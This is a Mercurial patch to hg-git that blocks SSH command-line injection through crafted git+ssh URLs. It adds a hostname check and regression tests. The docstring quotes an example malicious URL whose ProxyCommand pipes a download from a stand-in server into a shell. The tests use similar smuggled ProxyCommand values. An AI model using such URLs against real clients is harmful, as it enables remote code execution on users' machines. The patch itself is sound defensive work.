# HG changeset patch
# User Sean Farley <sean@farley.io>
# Date 1501882497 25200
#      Fri Aug 04 14:34:57 2017 -0700
# Node ID b4d2180739bbb8d1f0ae78c6f6119c15848b0144
# Parent  c96bf9e61598c6e9ed26f726bae24ac7bcc404f1
ssh: avoid SSH command-line injection [SEC]

diff --git a/hggit/git_handler.py b/hggit/git_handler.py
--- a/hggit/git_handler.py
+++ b/hggit/git_handler.py
@@ -1675,10 +1675,11 @@
         git_match = RE_GIT_URI.match(uri)
         if git_match:
             res = git_match.groupdict()
+            host, port, sepr = res['host'], res['port'], res['sepr']
             transport = client.TCPGitClient
             if 'ssh' in res['scheme']:
+                util.checksafessh(host)
                 transport = client.SSHGitClient
-            host, port, sepr = res['host'], res['port'], res['sepr']
             path = res['path']
             if sepr == '/' and not path.startswith('~'):
                 path = '/' + path
diff --git a/hggit/util.py b/hggit/util.py
--- a/hggit/util.py
+++ b/hggit/util.py
@@ -1,6 +1,7 @@
 """Compatibility functions for old Mercurial versions and other utility
 functions."""
 import re
+import urllib
 
 try:
     from collections import OrderedDict
@@ -8,7 +9,10 @@
     from ordereddict import OrderedDict
 
 from dulwich import errors
+from mercurial.i18n import _
 from mercurial import (
+    encoding,
+    error,
     lock as lockmod,
     util as hgutil,
 )
@@ -119,3 +123,18 @@
         tr.close()
     finally:
         lockmod.release(tr, lock, wlock)
+
+def checksafessh(host):
+    """check if a hostname is a potentially unsafe ssh exploit (SEC)
+
+    This is a sanity check for ssh urls. ssh will parse the first item as
+    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+    Let's prevent these potentially exploited urls entirely and warn the
+    user.
+
+    Raises an error.Abort when the url is unsafe.
+    """
+    host = urllib.unquote(host)
+    if host.startswith('-') or '|' in host:
+        raise error.Abort(_('potentially unsafe hostname: %r') %
+                          (host,))
diff --git a/tests/test-git-clone.t b/tests/test-git-clone.t
--- a/tests/test-git-clone.t
+++ b/tests/test-git-clone.t
@@ -36,3 +36,18 @@
    * master                    1:7fe02317c63d
   $ hg -R hgrepo gverify
   verifying rev 7fe02317c63d against git commit 9497a4ee62e16ee641860d7677cdb2589ea15554
+
+test for ssh vulnerability
+
+  $ hg clone 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from'
+  abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent'
+  [1]
+  $ hg clone 'git+ssh://%2DoProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from'
+  abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent'
+  [1]
+
+  $ hg init a
+  $ cd a
+  $ hg pull 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from'
+  abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent'
+  [1]